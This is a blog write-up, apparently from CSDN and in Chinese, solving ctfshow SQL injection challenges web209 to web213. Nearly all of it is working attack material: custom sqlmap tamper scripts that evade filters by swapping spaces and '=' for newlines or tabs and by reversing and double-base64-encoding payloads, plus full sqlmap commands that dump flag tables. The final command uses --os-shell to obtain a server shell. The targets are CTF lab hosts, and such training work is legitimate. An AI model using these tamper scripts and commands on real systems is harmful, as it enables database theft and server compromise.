ctfshow web入门 sql注入 web209--web213

baozongwi

已于 2024-05-25 09:32:18 修改

阅读量670

点赞数 3

文章标签： sql 数据库

于 2024-05-02 11:26:07 首次发布

本文链接：https://blog.csdn.net/2301_81040377/article/details/138378624

版权

web209

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue
            
            elif payload[i] == '*':
                retVal += chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

python sqlmap.py -u "http://54112117-a5f8-4695-8b56-fb8fd52b41d7.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data "id=1" --referer=ctf.show --headers=Content-Type:text/plain --cookie="PHPSESSID=95vep3aff73maihfn5noqaicmo" --safe-url="http://54112117-a5f8-4695-8b56-fb8fd52b41d7.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshowweb209 -D ctfshow_web -T ctfshow_flav --dump

真慢啊

web210

import base64
 
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
 
__priority__=  PRIORITY.NORMAL
 
def dependencies():
    singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
    payload = payload[::-1]
    payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    payload1 = payload1[::-1]
    payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
    return payload2

python .\sqlmap.py -u "
http://9a046eb3-be95-48ae-9d6d-3686e279e992.challenge.ctf.show/api/index.php" --user-agent=sqlmap --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="
http://9a046eb3-be95-48ae-9d6d-3686e279e992.challenge.ctf.show/api/getToken.php" --cookie="PHPSESSID=g9vk69e7giet3c67f4j53lum7t" --safe-freq=1 --tamper=210.py -D ctfshow_web -T ctfshow_flavi --dump

web211

import base64
 
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
 
__priority__=  PRIORITY.NORMAL
 
def dependencies():
    singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
    payload = payload.replace(" ","/**/")
    payload = payload[::-1]
    payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    payload1 = payload1[::-1]
    payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
    return payload2

python .\sqlmap.py -u "http://3c434d9b-a27a-43b6-9df3-758029cd67c1.challenge.ctf.show/api/index.php" --user-agent=sqlmap --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://3c434d9b-a27a-43b6-9df3-758029cd67c1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=4gbfmoqv5cemtl9k62tdtotkr1" --tamper=211.py -D ctfshow_web -T ctfshow_flavia --dump

web212

import base64
 
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
 
__priority__=  PRIORITY.NORMAL
 
def dependencies():
    singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
    payload = payload.replace(" ",chr(0x09))
    payload = payload[::-1]
    payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    payload1 = payload1[::-1]
    payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
    return payload2

python .\sqlmap.py -u "http://ba92f289-4b11-4608-9bb2-65a65b943941.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=1ettlpu2otrmjbd49smf5fdi4q" --safe-url="http://ba92f289-4b11-4608-9bb2-65a65b943941.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=212.py -D ctfshow_web -T ctfshow_flavis --dump

web 213

getsheel然后链接就行

python .\sqlmap.py -u "http://5527e15e-15dc-4874-bcd4-0232e133e8b4.challenge.ctf.show/api/index.php" --user-agent=sqlmap --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=tpp6v8rj8dr0jpglrfqu0db8a9" --safe-url="http://5527e15e-15dc-4874-bcd4-0232e133e8b4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=212.py -D ctfshow_web -T ctfshow_flavis --dump --os-shell